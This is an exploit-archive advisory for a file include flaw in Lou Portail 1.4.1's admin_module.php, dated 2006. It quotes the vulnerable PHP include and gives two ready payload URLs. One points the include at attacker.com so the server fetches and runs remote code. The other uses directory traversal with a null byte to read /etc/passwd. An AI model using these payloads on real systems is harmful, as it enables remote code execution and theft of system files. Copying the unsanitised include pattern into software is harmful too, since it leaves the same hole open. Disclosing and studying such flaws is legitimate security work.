[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Lou Portail 1.4.1 (admin_module.php) Remote File Include Vulnerability
# Published : 2006-10-20
# Author : MP
# Previous Title : Trawler Web CMS <= 1.8.1 Multiple Remote File Include Vulnerabilities
# Next Title : WGCC <= 0.5.6b (quiz.php) Remote SQL Injection Vulnerability
## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
# #
# [ Lou Portail 1.4.1 ] #
#
# Class: Remote|Local File Include Vulnerability #
# Patch: Unavailable #
# Published 2006/10/18 #
# Remote: Yes
# Local: No #
# Type: High #
# Site: http://louportail.free.fr/ #
# Author: MP
# Contact: mp01010@yahoo.com #
# #
#################################################################
Vuln Code (admin/admin_module.php):
<?...
include ("$g_admin_rep/admin_utils.$g_ext");
...?>
#Vuln 1.0 -> require register_globals = On
http://louportail.com/admin/admin_module.php?g_admin_rep=http://attacker.com&g_ext=txt
#Vuln 2.0 -> require magic_quotes_gpc = Off
http://louportail.com/admin/admin_module.php?g_admin_rep=../../../../../../../../../../../../../../../../../../../../etc/passwd%00
# www.Syue.com [2006-10-20]